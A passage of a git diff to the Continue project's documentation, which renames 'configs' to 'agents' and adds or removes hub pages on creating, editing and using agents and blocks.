- -## What You've Built - -After completing this setup, you have an **AI-powered code review system** that: - -- ✅ **Runs automatically** - Reviews every pull request without manual intervention -- ✅ **Privacy-first** - CLI runs in your GitHub Actions runner, code sent directly to your configured LLM -- ✅ **Customizable** - Team-specific rules apply automatically -- ✅ **Interactive** - Responds to focused review requests -- ✅ **Continuous** - Updates reviews as pull requests change - - - Your pull request workflow now operates at **[Level 2 Continuous - AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - - AI handles routine code review with human oversight through review and - approval. - - -## Next Steps - -1. **Test it out** - Create a test pull request and watch the review appear -2. **Refine rules** - Add more custom rules specific to your codebase -3. **Customize prompts** - Adjust the review prompt to match your team's style -4. **Add metrics** - Track review effectiveness over time -5. **Create team config** - Set up a shared Continue config for consistent reviews - -## Inspiration & Resources - - - - Original inspiration - Privacy-first AI code reviews - - - Learn more about Continue CLI capabilities - - - Browse shared configs and create your own - - - Deep dive into custom rules - - - -## Community Examples - -Share your pull request review bot configuration: -- Tweet your setup with `#ContinueDev` -- Share improvements as [GitHub discussions](https://github.com/continuedev/continue/discussions) -- Contribute example rules to the docs diff --git a/docs/guides/notion-continue-guide.mdx b/docs/guides/notion-continue-guide.mdx index 473e227321f..b1dc4227b66 100644 --- a/docs/guides/notion-continue-guide.mdx +++ b/docs/guides/notion-continue-guide.mdx @@ -112,7 +112,7 @@ Before starting, ensure you have: -## Running Continue CLI with Notion API +## Running Continue AI Agent with Notion API diff --git a/docs/guides/ollama-guide.mdx b/docs/guides/ollama-guide.mdx index 77ca3fd0acb..565f84f0fec 100644 --- a/docs/guides/ollama-guide.mdx +++ b/docs/guides/ollama-guide.mdx @@ -86,8 +86,8 @@ There are multiple ways to configure Ollama models in Continue: The easiest way is to use [pre-configured model blocks](/reference#local-blocks) from the Continue Hub in your local configuration: -```yaml title="~/.continue/configs/config.yaml" -name: My Local Config +```yaml title="~/.continue/agents/My Local Agent.yaml" +name: My Local Agent version: 0.0.1 schema: v1 models: @@ -315,8 +315,8 @@ ollama pull deepseek-r1:32b **Solution**: Create a local agent file: ```yaml -# ~/.continue/configs/config.yaml -name: Local Config +# ~/.continue/agents/Local.yaml +name: Local Agent version: 0.0.1 schema: v1 models: diff --git a/docs/guides/overview.mdx b/docs/guides/overview.mdx index 0598d7d11ea..e4eb77ccfa4 100644 --- a/docs/guides/overview.mdx +++ b/docs/guides/overview.mdx @@ -15,7 +15,6 @@ description: "Comprehensive collection of practical guides for Continue includin - [How to Use Continue CLI (cn)](/guides/cli) - Command-line interface for Continue - [Continuous AI Readiness Assessment](/guides/continuous-ai-readiness-assessment) - Evaluate team readiness for Continuous AI adoption - [Notion + Continue Guide](/guides/notion-continue-guide) - Automate docs, tasks, and release workflows -- [Pull Request Review Bot with GitHub Actions](/guides/github-pr-review-bot) - Set up automated, privacy-first code reviews using Continue CLI ## MCP Integration Cookbooks @@ -33,7 +32,7 @@ Step-by-step guides for integrating Model Context Protocol (MCP) servers with Co ## What Advanced Tutorials Are Available -- [Codebase and Documentation Awareness](/guides/codebase-documentation-awareness) - Make agent mode aware of codebases and documentation +- [Codebase and Documentation Awareness](/guides/codebase-documentation-awareness) - Make your agent aware of codebases and documentation - [Custom Code RAG](/guides/custom-code-rag) - Advanced: Build custom retrieval-augmented generation for large codebases ## How to Contribute to Guides diff --git a/docs/guides/plan-mode-guide.mdx b/docs/guides/plan-mode-guide.mdx index 289efe38ad2..c4ea019b1d0 100644 --- a/docs/guides/plan-mode-guide.mdx +++ b/docs/guides/plan-mode-guide.mdx @@ -267,7 +267,7 @@ Move to Agent Mode when you have: ### Key Takeaways -The three-mode system—Chat mode for learning, Plan mode for strategy, and Agent mode for execution—provides a complete development workflow that scales from simple bug fixes to complex system architecture. +The three-mode system—Chat for learning, Plan for strategy, and Agent for execution—provides a complete development workflow that scales from simple bug fixes to complex system architecture. **Remember:** diff --git a/docs/guides/sanity-mcp-continue-cookbook.mdx b/docs/guides/sanity-mcp-continue-cookbook.mdx index 3f28479d657..8af21df8d16 100644 --- a/docs/guides/sanity-mcp-continue-cookbook.mdx +++ b/docs/guides/sanity-mcp-continue-cookbook.mdx @@ -14,7 +14,7 @@ sidebarTitle: "Sanity CMS with Continue" Before starting, ensure you have: - Continue account with **Hub access** - - Read: [Understanding Configs — How to get started with Hub configs](/hub/configs/intro) +- Read: [Understanding Agents — How to get started with Hub agents](/guides/understanding-agents#how-to-get-started-with-hub-agents) - Node.js 20+ installed locally - A [Sanity account](https://www.sanity.io/) and project (free tier works) - Basic understanding of content management systems @@ -62,7 +62,7 @@ npm run dev Skip the manual setup and use our pre-built Sanity Assistant agent that includes - the Sanity MCP and optimized content management workflows for more consistent results. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize it for your specific needs. + the Sanity MCP and optimized content management workflows for more consistent results. You can [remix this agent](/guides/understanding-agents#how-to-get-started-with-hub-agents) to customize it for your specific needs. @@ -386,7 +386,7 @@ cn -p "Analyze the performance of my most frequent GROQ queries and suggest opti ## Continuous Content Management with GitHub Actions - This example demonstrates a **Continuous AI workflow** where content validation and schema checks run automatically in your CI/CD pipeline in headless mode using the Sanity agent config. Consider [remixing this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to add your organization's specific content governance rules. +This example demonstrates a **Continuous AI workflow** where content validation and schema checks run automatically in your CI/CD pipeline in headless mode using the Sanity agent config. Consider [remixing this agent](/guides/understanding-agents#how-to-get-started-with-hub-agents) to add your organization's specific content governance rules. ### Add GitHub Secrets diff --git a/docs/guides/snyk-mcp-continue-cookbook.mdx b/docs/guides/snyk-mcp-continue-cookbook.mdx index b353f395b7f..cd45ac71ed8 100644 --- a/docs/guides/snyk-mcp-continue-cookbook.mdx +++ b/docs/guides/snyk-mcp-continue-cookbook.mdx @@ -15,7 +15,7 @@ sidebarTitle: "Snyk Security Scanning with Continue" Before starting, ensure you have: - Continue account with **Hub access** -- Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Read: [Understanding Agents — How to get started with Hub agents](/guides/understanding-agents#how-to-get-started-with-hub-agents) - Node.js 18+ installed locally - [Snyk account](https://snyk.io/) (free tier works) - A local project to scan for vulnerabilities diff --git a/docs/guides/understanding-configs.mdx b/docs/guides/understanding-agents.mdx similarity index 64% rename from docs/guides/understanding-configs.mdx rename to docs/guides/understanding-agents.mdx index 5a18fedb9a2..d03ce875805 100644 --- a/docs/guides/understanding-configs.mdx +++ b/docs/guides/understanding-agents.mdx @@ -1,63 +1,63 @@ --- -title: "How to Understand Hub vs Local Configuration" -description: "Learn how to choose between cloud-managed Hub and local configuration for AI development assistance in Continue, including setup, management, and best practices for each approach" +title: "How to Understand Agents: Hub vs Local Configuration" +description: "Learn how to choose between cloud-managed Hub agents and local configuration for AI development assistance in Continue, including setup, management, and best practices for each approach" --- Every developer has unique needs when it comes to AI assistance. Some prefer the convenience of cloud-managed configurations, while others need the control and privacy of local setups. Continue offers both paths, and this guide will help you choose the right one for your workflow. ## What Are the Two Paths to AI Assistance? -Continue provides two distinct ways to configure: +Continue provides two distinct ways to configure your AI agent: Think of Continue's configuration options like choosing between a managed service and self-hosting. Both get you to the same destination—powerful AI assistance in your IDE—but the journey and control level differ significantly. -### How to Access Your Configuration +### How to Access Your Agent Configuration Before we dive into the specifics, let's understand how to access your configuration: 1. Open the Continue Chat sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) -2. Click the Config selector above the main chat input -3. Hover over a config and click: - - `new window` icon for Hub configs - - `gear` icon for Local configs +2. Click the Agent selector above the main chat input +3. Hover over an agent and click: + - `new window` icon for Hub agents + - `gear` icon for Local agents -![configure](/images/configure-continue.png) +![configure an agent](/images/configure-continue.png) -## What Are Hub Configurations: The Managed Experience +## What Are Hub Agents: The Managed Experience -Hub Configurations represent the "it just works" philosophy. When you [sign in to Continue Hub](https://auth.continue.dev/), you gain access to a curated ecosystem of established configurations that sync seamlessly across all your development environments. +Hub Agents represent the "it just works" philosophy. When you [sign in to Continue Hub](https://auth.continue.dev/), you gain access to a curated ecosystem of pre-configured agents that sync seamlessly across all your development environments. -### Why Should You Choose Hub Configs? +### Why Should You Choose Hub Agents? **The Power of Simplicity** -- **Instant Setup**: Browse the [configuration marketplace](https://hub.continue.dev) and add any config to your account with a single click +- **Instant Setup**: Browse the [agent marketplace](https://hub.continue.dev) and add any agent to your account with a single click - **Web-Based Management**: Configure models, add secrets, and customize settings through an intuitive web interface—no JSON editing required - **Automatic Synchronization**: Make a change on the hub, and it reflects immediately across all your IDE instances -- **Team Collaboration**: Share custom configurations with your team, ensuring everyone uses the same optimized configurations +- **Team Collaboration**: Share custom agents with your team, ensuring everyone uses the same optimized configurations -![nextjs config](/images/nextjs-assistant.png) +![nextjs agent](/images/nextjs-assistant.png) -### How to Get Started with Hub Configs +### How to Get Started with Hub Agents The journey from zero to AI-powered coding takes just four steps: -1. **Select Your Config**: Click the config selector in your IDE's Continue panel -2. **Explore or Create**: Browse community configurations or craft your own specialized setup +1. **Select Your Agent**: Click the agent selector in your IDE's Continue panel +2. **Explore or Create**: Browse community agents or craft your own specialized helper 3. **Secure Your Keys**: Add API keys as [User Secrets](https://hub.continue.dev/settings/secrets) in the hub—they're encrypted and never exposed 4. **Sync and Code**: Click "Reload config" to pull your latest settings -Pro tip: Hub configurations are perfect for teams. Create a custom config with your team's coding standards, preferred models, and context sources, then share it with a simple link. +Pro tip: Hub Agents are perfect for teams. Create a custom agent with your team's coding standards, preferred models, and context sources, then share it with a simple link. -### How to Manage Hub Configs +### How to Manage Hub Agents -All Hub config management happens through [the Hub](https://hub.continue.dev). For detailed customization, see our guide on [Editing a Config](/hub/configs/edit-a-config). +All Hub Agent management happens through [the Hub](https://hub.continue.dev). For detailed customization, see our guide on [Editing an Agent](/hub/agents/edit-an-agent). -## What Are Local Configs: The Power User's Choice +## What Are Local Agents: The Power User's Choice -Local configuration puts you in the driver's seat. Using a `config.yaml` file, you have complete control over every aspect of your Continue experience with all configuration stored directly on your machine. +Local Agents put you in the driver's seat. Using a `config.yaml` file, you have complete control over every aspect of your AI agent's behavior, with all configuration stored directly on your machine. -### Why Should You Choose Local Configs? +### Why Should You Choose Local Agents? **Complete Control and Privacy** @@ -66,7 +66,7 @@ Local configuration puts you in the driver's seat. Using a `config.yaml` file, y - **Offline Capability**: Once configured, no internet connection needed (assuming you're using local models) - **Unlimited Customization**: Access every configuration option, experimental feature, and advanced setting -### How to Set Up Local Configs +### How to Set Up Local Agents Local configuration lives in a single YAML file in your home directory: @@ -77,13 +77,13 @@ Local configuration lives in a single YAML file in your home directory: **Quick Access Method:** -1. Open the configs dropdown in your IDE -2. Click the gear icon next to "Local Config" +1. Open the agents dropdown in your IDE +2. Click the gear icon next to "Local Agent" 3. The `config.yaml` file opens in your editor ![local-config-open-steps](/images/local-config-open-steps.png) -### The Local Config Experience +### The Local Agent Experience When you edit your `config.yaml`, Continue provides intelligent autocomplete for all available options. Save the file, and Continue automatically reloads your configuration—no restart required. @@ -93,9 +93,9 @@ For the complete configuration reference, see our [config.yaml documentation](/r ## How to Make the Right Choice -The decision between Hub and Local configs often comes down to your specific needs and constraints. Here's a framework to help you decide: +The decision between Hub and Local agents often comes down to your specific needs and constraints. Here's a framework to help you decide: -### Choose Hub Configs When You: +### Choose Hub Agents When You: **Value Convenience Over Control** @@ -106,7 +106,7 @@ The decision between Hub and Local configs often comes down to your specific nee **Need Advanced Collaboration** -- Want to share custom configs with teammates +- Want to share custom agents with teammates - Need centralized API key management - Require quick updates across your entire organization @@ -116,7 +116,7 @@ The decision between Hub and Local configs often comes down to your specific nee - Want to experiment with different models and configurations - Prefer guided setup experiences -### Choose Local Configs When You: +### Choose Local Agents When You: **Require Maximum Control** @@ -140,21 +140,21 @@ The decision between Hub and Local configs often comes down to your specific nee Here's a secret: you don't have to choose just one. Many developers use both approaches: -- **Hub Configs** for general development and experimentation -- **Local Configs** for production work or client projects with specific requirements +- **Hub Agents** for general development and experimentation +- **Local Agents** for production work or client projects with specific requirements -You can switch between them seamlessly using the configs selector in your IDE. +You can switch between them seamlessly using the agent selector in your IDE. ## Common Patterns and Best Practices -### For Hub Config Users +### For Hub Agent Users -1. **Start with Community Configs**: Before creating your own, explore what others have built +1. **Start with Community Agents**: Before creating your own, explore what others have built 2. **Use Secrets Properly**: Never hardcode API keys—always use the User Secrets feature -3. **Create Specialized Configs**: Make different configs for different contexts (frontend, backend, DevOps) +3. **Create Specialized Agents**: Make different agents for different contexts (frontend, backend, DevOps) 4. **Share Liberally**: If you create something useful, share it with the community -### For Local Config Users +### For Local Agent Users 1. **Version Control Your Config**: Treat your `config.yaml` like code—commit it, review changes, and maintain history 2. **Use Environment Variables**: For sensitive data, reference environment variables instead of hardcoding values @@ -163,7 +163,7 @@ You can switch between them seamlessly using the configs selector in your IDE. ## Troubleshooting and Tips -### Hub Config Issues +### Hub Agent Issues **Changes Not Reflecting?** @@ -171,12 +171,12 @@ You can switch between them seamlessly using the configs selector in your IDE. - Check your internet connection - Ensure you're signed in to the correct account -**Config Not Available?** +**Agent Not Available?** - Verify it's added to your account on the hub - Check if it requires specific API keys -### Local Config Issues +### Local Agent Issues **Config Not Loading?** @@ -193,7 +193,7 @@ You can switch between them seamlessly using the configs selector in your IDE. Now that you understand both configuration approaches, you're ready to dive deeper: - - **For Hub Users**: [Create A Config](/hub/configs/create-a-config) +- **For Hub Users**: [Create Your First Agent](/hub/agents/create-an-agent) - **For Local Users**: [Explore the Config Reference](/reference) - **For Everyone**: [Discover Available Models](/customize/model-providers/overview) diff --git a/docs/home.mdx b/docs/home.mdx index 63280ca849b..2ef80b4f737 100644 --- a/docs/home.mdx +++ b/docs/home.mdx @@ -12,11 +12,11 @@ description: "Learn how Continue enables developers to embrace continuous AI, en **You can use Continue to build and run custom agents across your IDE, terminal, and CI.** 1. Get started with Continue in [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue) or [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension) extensions: -- [Agent mode](/ide-extensions/agent/quick-start) to work on development tasks together with AI -- [Chat mode](/ide-extensions/chat/quick-start) to ask general questions and clarify code sections -- [Edit mode](/ide-extensions/edit/quick-start) to modify code section without leaving your current file +- [Agent](/ide-extensions/agent/quick-start) to work on development tasks together with AI +- [Chat](/ide-extensions/chat/quick-start) to ask general questions and clarify code sections +- [Edit](/ide-extensions/edit/quick-start) to modify code section without leaving your current file - [Autocomplete](/ide-extensions/autocomplete/quick-start) to receive inline code suggestions as you type 2. Try out [Continue CLI (cn)](https://docs.continue.dev/guides/cli) and give us feedback -3. Discover the models, prompts, rules, MCP tools, and agents you need to automate your workflows with AI on [Continue Hub](https://hub.continue.dev/) +3. Discover the models, rules, and MCP tools you need to create a custom AI coding agent on [Continue Hub](https://hub.continue.dev/) diff --git a/docs/hub/agents/create-an-agent.mdx b/docs/hub/agents/create-an-agent.mdx new file mode 100644 index 00000000000..27de8084650 --- /dev/null +++ b/docs/hub/agents/create-an-agent.mdx @@ -0,0 +1,35 @@ +--- +title: "How to Create an AI Agent" +description: "Learn how to create custom AI coding agents in Continue Hub by remixing existing agents or building new ones from scratch with reusable blocks and YAML configuration." +sidebarTitle: "Create an AI Agent" +--- + +## How to Create an AI Agent from Scratch + +To create an agent from scratch, select “New agent” in the top bar. + +![New agent button](/images/hub/new-agent-button.png) + + +Choose a name, slug, description, and icon for your agent. + +The easiest way to create an agent is to click "Create agent" with the default configuration and then add / remove blocks using the sidebar. + +Alternatively, you can edit the agent YAML directly before clicking "Create agent". Refer to examples of agents on [hub.continue.dev](https://hub.continue.dev) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details. + +![New agent YAML](/images/hub/assistants/images/assistant-create-yaml-a991e5a81506f1c3ba611a664a50734c.png) + +## How to Remix an Agent + +You can also create an agent by remixing an existing one. This is useful if you want to start with a pre-configured agent and make modifications. + +By clicking the “remix” button, you’ll be taken to the “Create a remix” page. + +![Remix Agent Button](/images/hub/agent-remix-button.png) + +Once here, you’ll be able to + +1. add or remove blocks in YAML configuration +2. change the name, description, icon, etc. + +Clicking “Create agent” will make this agent available for use. diff --git a/docs/hub/agents/edit-an-agent.mdx b/docs/hub/agents/edit-an-agent.mdx new file mode 100644 index 00000000000..d4f74fd5b1c --- /dev/null +++ b/docs/hub/agents/edit-an-agent.mdx @@ -0,0 +1,20 @@ +--- +title: "How to Edit an Agent" +description: "New versions of an agent can be created and published using the sidebar." +--- + +![Remix Agent Button](/images/hub/assistants/images/assistant-create-sidebar-608be49973f2a7723212adeb52dbcafb.png) + +First, select an agent from the dropdown at the top. + +While editing an agent, you can explore the hub and click "Add Block" from a block page to add it to your agent. + +For blocks that require secret values like API keys, you will see a small notification on the block's tile in the sidebar that will indicate if action is needed. + +To delete a block, click the trash icon. + +If a block you want to use does not exist yet, you can [create a new block](/hub/blocks/create-a-block). + +When you are done editing, click "Publish" to publish a new version of the agent. + +Click "Open VS Code" or "Open JetBrains" to open your IDE for using the agent. diff --git a/docs/hub/agents/intro.mdx b/docs/hub/agents/intro.mdx index 5004498d02f..7747c814556 100644 --- a/docs/hub/agents/intro.mdx +++ b/docs/hub/agents/intro.mdx @@ -1,98 +1,8 @@ --- -title: "Agents Introduction" -description: "Run and manage background agents in Mission Control" -sidebarTitle: "Agents" +title: "Introduction to Agents" +description: "Custom AI code agents are configurations of building blocks that enable a coding experience tailored to your specific use cases." --- - - Mission Control is in beta. Please share any feedback with us in [GitHub discussions](https://github.com/continuedev/continue/discussions/8051). - +`config.yaml` is a format for defining custom AI code agents. An agent has some top-level properties (e.g. `name`, `version`), but otherwise consists of composable lists of **blocks** such as `models` and `rules`, which are the atomic building blocks of an agent. -Mission Control is a way to run and manage background agents in Continue. You can use it to kick off: -- Addressing small nitpicks and bugs -- Building boilerplate-heavy features -- Investigating an issue to kickstart your work -- [Automated security scanning](../../guides/snyk-mcp-continue-cookbook) -- Running repeatable tasks with your own rules, prompts, and MCP servers -- Much more! - -## Quickstart - -To kick off your first agent - -1. Go to [hub.continue.dev/agents](https://hub.continue.dev/agents) - -![Mission Control Setup](/images/hub/workflows/images/workflows-setup.png) - -2. Connect with your GitHub account -3. Enter the prompt for your agent - -## Example Workflow Tasks - -Here are some example tasks you can try with your agents: - - - - - - "Fix the TypeError in api/users.ts where the user object might be undefined" - - "Add null checks to all database query results in the services/ directory" - - "Fix all ESLint warnings in the components folder" - - "Update deprecated React lifecycle methods to hooks in legacy components" - - - - - - - "Create a new REST endpoint for user profile updates with validation and error handling" - - "Add pagination to the products list page with previous/next buttons" - - "Implement dark mode toggle using Tailwind CSS classes across all pages" - - "Add unit tests for the authentication service using Jest" - - - - - - - "Scan the codebase for hardcoded API keys and move them to environment variables" - - "Add input sanitization to all user-facing form fields" - - "Update all npm packages with known security vulnerabilities" - - "Implement rate limiting on the /api/login endpoint" - - - - - - - "Add JSDoc comments to all exported functions in the utils/ directory" - - "Create a README.md for the new payment-processing module with setup instructions" - - "Generate TypeScript interfaces for all API response schemas" - - "Add error handling boilerplate to all async functions missing try-catch blocks" - - - - - - - "Investigate why the login API is returning 500 errors intermittently and suggest fixes" - - "Analyze the performance bottleneck in the data processing pipeline" - - "Review the database schema for the orders table and suggest optimizations" - - "Find all TODO comments related to authentication and create a summary" - - - - - - - "Extract the repeated validation logic in controllers into a shared utility function" - - "Convert all class components in src/legacy to functional components with hooks" - - "Rename all instances of 'userId' to 'accountId' across the codebase" - - "Split the 500-line UserService.ts into smaller, single-responsibility services" - - - - -## How to use background agents - -The practice of using background agents, which we call Continuous AI, requires practice and forethought to set up the right guiderails and habits to fit your development workflow, much like learning to work with a larger engineering team. We are constantly sharing our learnings on the [Continuous AI Blog](https://blog.continue.dev), but these few high-level tips are a great way to quickly become successful with agents: - -- Practice first with the [Continue CLI](../../guides/cli) in "TUI mode". The Continue CLI is used to run agents, so you can easily test your prompts locally. -- Identify and begin with tasks that you are confident can be accomplished by Continue. For example, ask Continue to fix a small bug where you already know the solution is simple. -- Once you have merged a PR created by Continue, be increasingly ambitious with your tasks. By being willing to start tasks that might not succeed on the first try, you will learn about prompting best practices and limitations of current language models. -- Use thorough prompts. Workflows can run for a long time to complete their task, so it is worthwhile to invest in sharing all of the important details. -- Discuss the use of agents with your team. Truly embracing Continuous AI likely means acknowledging that a higher volume of PRs will be created and adjusting your code review habits. +The `config.yaml` is parsed by the open-source Continue IDE extensions to create custom agent experiences. When you log in to [hub.continue.dev](https://hub.continue.dev/), your agents will automatically be synced with the IDE extensions. diff --git a/docs/hub/agents/use-an-agent.mdx b/docs/hub/agents/use-an-agent.mdx new file mode 100644 index 00000000000..afefad9a3be --- /dev/null +++ b/docs/hub/agents/use-an-agent.mdx @@ -0,0 +1,19 @@ +--- +title: "How to Use an Agent" +description: "Learn how to add, configure, and use an AI agent in Continue, including setting required inputs and selecting it in your IDE extension." +--- + +## Steps to Use an AI Agent in Continue + +Once you've found the agent you want to use on Continue Hub: + +1. Click “Add Agent” on its page +2. Add any required inputs (e.g. secrets like API keys) +3. Select “Save changes” in agent sidebar on the right hand side + +After saving, open your IDE extension and: + +- Select the agent from the **agent dropdown** in the Continue extension. +- Begin using it for chat, code generation, or other configured capabilities. + +![Extension Agent Selector](/images/hub/assistants/images/assistant-extension-select.png) diff --git a/docs/hub/blocks/block-types.mdx b/docs/hub/blocks/block-types.mdx new file mode 100644 index 00000000000..9e31200e15c --- /dev/null +++ b/docs/hub/blocks/block-types.mdx @@ -0,0 +1,31 @@ +--- +title: "Models, Rules, Prompts, and MCP servers" +sideBarTitle: "Block Types" +description: "Explore the different types of reusable blocks in Continue Hub including models, MCP servers, rules, and prompts" +--- + +## Models + +Models are blocks that let you specify Large Language Models (LLMs) and other deep learning models to be used for various roles in the open-source IDE extension like Chat, Autocomplete, Edit, Embed, Rerank, etc. You can explore available models on [the hub](https://hub.continue.dev/?type=models). + +Continue supports [many model providers](/customize/model-providers), including Anthropic, OpenAI, Gemini, Ollama, Amazon Bedrock, Azure, xAI, DeepSeek, and more. Models can have one or more of the following roles depending on its capabilities, including `chat`, `edit`, `apply`, `autocomplete`, `embed`, and `rerank`. + +Read more about roles [here](/customize/model-roles) and view [`models`](/reference#models) in the YAML Reference for more details. + +## MCP Servers + +Model Context Protocol (MCP) is a standard way of building and sharing tools for language models. MCP Servers can be defined in `mcpServers` blocks. + +[Explore MCP Servers](https://hub.continue.dev/?type=mcpServers) on the Hub, learn more in the [MCP deep dive](/customize/deep-dives/mcp), and view [`mcpServers`](/reference#mcpservers) in the YAML Reference for more details. + +## Rules + +Rules blocks are instructions that your custom AI code agent will always keep in mind - the contents of rules are inserted into the system message for all Chat, Plan, and Agent requests. + +[Explore rules](https://hub.continue.dev/?type=rules) on the Hub, learn more in the [rules deep dive](/customize/deep-dives/rules), and view [`rules`](/reference#rules) in the YAML Reference for more details. + +## Prompts + +Prompts blocks are pre-written, reusable instructions that are used to kick off a task. They are especially useful as context for repetitive and/or complex tasks. + +[Explore prompts](https://hub.continue.dev/?type=prompts) on the Hub, learn more in the [prompts deep dive](/customize/deep-dives/prompts), and view [`prompts`](/reference#prompts) in the YAML Reference for more details. \ No newline at end of file diff --git a/docs/hub/blocks/create-a-block.mdx b/docs/hub/blocks/create-a-block.mdx new file mode 100644 index 00000000000..af3199ab906 --- /dev/null +++ b/docs/hub/blocks/create-a-block.mdx @@ -0,0 +1,39 @@ +--- +title: "How to Create a Block" +sidebarTitle: "Create a Block" +description: "Learn how to create and remix reusable blocks in Continue Hub for sharing configuration components like models, prompts, and tools with customizable inputs and template variables" +--- + +## How to Remix a Block + +You should remix a block if you want to use it after some modifications. + +By clicking the “remix” button, you’ll be taken to the “Create a remix” page. + +![Remix block button](/images/hub/blocks/images/block-remix-button-913beb80672662855acc7013561c78d0.png) + +Once here, you’ll be able to 1) edit YAML configuration for the block and 2) change name, description, icon, etc. Clicking “Create block” will make this block available for use in an agent. + +## How to Create a Block from Scratch + +To create a block from scratch, you will need to click “New block” in the top bar. + +![New block button](/images/hub/blocks/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png) + +After filling out information on the block, you will want to create a block following the `config.yaml` [reference documentation](/reference). Refer to examples of blocks on [hub.continue.dev](https://hub.continue.dev/explore/models) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details. + +![New block page](/images/hub/blocks/images/block-new-page-2d7faf71739d0f062d555b5d7257fb56.png) + +### Block Inputs + +Blocks can receive values, including secrets, as inputs through templating. For values that the user of the block needs to set, you can use template variables (e.g. `${{ inputs.API_KEY}}`). Then, the user can set `API_KEY: ${{ secrets.MY_API_KEY }}` in the `with` clause of their agent. + + +**Choosing between `secrets.` and `inputs.`** + +When creating blocks for the hub: +- Use `${{ inputs.INPUT_NAME }}` in your block definition when you want users to be able to customize which secret is used +- Users will then map their own secrets using `${{ secrets.SECRET_NAME }}` in the `with` clause + +For personal or single-use configurations, you can skip the inputs layer and reference `${{ secrets.SECRET_NAME }}` directly in your block. + diff --git a/docs/hub/blocks/intro.mdx b/docs/hub/blocks/intro.mdx new file mode 100644 index 00000000000..7180b3f63b4 --- /dev/null +++ b/docs/hub/blocks/intro.mdx @@ -0,0 +1,6 @@ +--- +title: "Introduction" +description: "Blocks are the components you use to build a custom AI code agent. These include Models, MCP Servers, Rules, and Prompts." +--- + +Blocks follow the [`config.yaml`](/reference) format. When combined with other blocks into a complete `config.yaml`, they form a custom AI code agent. diff --git a/docs/hub/blocks/use-a-block.mdx b/docs/hub/blocks/use-a-block.mdx new file mode 100644 index 00000000000..ed5ff7cb3d1 --- /dev/null +++ b/docs/hub/blocks/use-a-block.mdx @@ -0,0 +1,13 @@ +--- +title: "How to Use a Block" +description: "Learn how to use blocks in Continue Hub to enhance your AI code agent." +--- + +Blocks are used to build custom AI code agents in Continue Hub. Learn more: + +- [Create an agent](/hub/agents/create-an-agent) +- [Edit an agent](/hub/agents/edit-an-agent) + +Some blocks require inputs. If you are missing an input for a block, a notification icon will show up in the sidebar next to the block. Click the notification to select which secret to use for the block input: + +![Block inputs](/images/hub/blocks/images/block-inputs-b26686c49eea145a875dfe46862c85e0.png) diff --git a/docs/hub/configs/create-a-config.mdx b/docs/hub/configs/create-a-config.mdx deleted file mode 100644 index 04a7a026ee5..00000000000 --- a/docs/hub/configs/create-a-config.mdx +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: "How to Create a Config" -description: "Learn how to create custom AI coding configs in Continue Hub by remixing existing configs or building new ones from scratch with reusable blocks and YAML configuration." -sidebarTitle: "Create a Config" ---- - -## How to Create a Config from Scratch - -To create an config from scratch, select “New config” in the top bar. - -Choose a name, slug, description, and icon for your config. - -The easiest way to create an config is to click "Create config" with the default configuration and then add / remove blocks using the sidebar. - -Alternatively, you can edit the config YAML directly before clicking "Create config". Refer to examples of configs on [hub.continue.dev](https://hub.continue.dev) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details. - - - -## How to Remix a Config - -You can also create an config by remixing an existing one. This is useful if you want to start with a pre-configured config and make modifications. - -By clicking the “remix” button, you’ll be taken to the “Create a remix” page. - -Once here, you’ll be able to - -1. add or remove components from the config. -2. change the name, description, icon, etc. - -Clicking “Create config” will make this config available for use. diff --git a/docs/hub/configs/edit-a-config.mdx b/docs/hub/configs/edit-a-config.mdx deleted file mode 100644 index 5e1dd3c1446..00000000000 --- a/docs/hub/configs/edit-a-config.mdx +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "How to Edit a Config" -description: "New versions of a config can be created and published using the sidebar." ---- - -First, select a config either from the Hub search or one that you've installed. - -While editing a config, you can explore the hub and click "+" to add it to your config. - -For tools or models that require secret values like API keys, you will see a small notification on its tile that will indicate if action is needed. - - -To delete part of your config, you can remove it from the yaml. - -If a rule, prompt, or tool you want to use does not exist yet, you can [create it](/hub/introduction#creating-components). - -When you are done editing, click "Publish" to publish a new version of the config. - -Reload your terminal or IDE to use the latest version of the config in your agents. \ No newline at end of file diff --git a/docs/hub/configs/intro.mdx b/docs/hub/configs/intro.mdx deleted file mode 100644 index 43ab3f48f60..00000000000 --- a/docs/hub/configs/intro.mdx +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: "Introduction to Configs" -description: "Custom configuration options include Models, MCP Servers, Rules, Prompts, etc." -sidebarTitle: "Configs" ---- - - -## What Are Configs? - -Configs are flexible containers that combine multiple components to create powerful AI coding experiences using the Continue CLI or the Extensions. A single config can include: - - - - - - Large Language Models for chat, autocomplete, editing, and more - - - - - - Model Context Protocol servers that provide tools and capabilities - - - - - - Guidelines that shape AI behavior and responses - - - - - - Reusable instructions for common coding tasks - - - - - -## How Configs Work - -Think of configs as recipes for AI assistance. Each config defines: - -- **What models** to use for different tasks (chat, autocomplete, code editing) -- **Which tools** are available through MCP servers -- **How the AI behaves** through rules and guidelines -- **Pre-built prompts** for common workflows - -This flexibility lets you create specialized setups for different contexts, like a Next.js config with React-specific rules and tools, or a data science config with Python analysis capabilities. - -## Config Permissions - -When creating configs, you can set visibility levels: - -- **Personal**: Only you can see and use the config -- **Public**: Anyone can discover and use your config -- **Organization**: Members of your organization can access the config - -## Working with Configs - -You can interact with configs in three main ways: - -- **Create**: Build a new config from scratch or start with a template -- **Edit**: Modify your existing configs by adding/removing components -- **Remix**: Take someone else's config and customize it for your needs - -## Getting Started - - - - - - Browse the [Continue Hub](https://hub.continue.dev/?type=assistants) to see what configs others have built - - - - - - Click "Install Config" (+) on any config that interests you - - - - - - Add your API keys and customize components to match your workflow - - - - - - Select the config from the dropdown in your Continue extension, type `/config` in the CLI, or use `--config` with the CLI commands - - - - - -## Config Format - -All configs follow the [`config.yaml`](/reference) format, whether you're using the hub 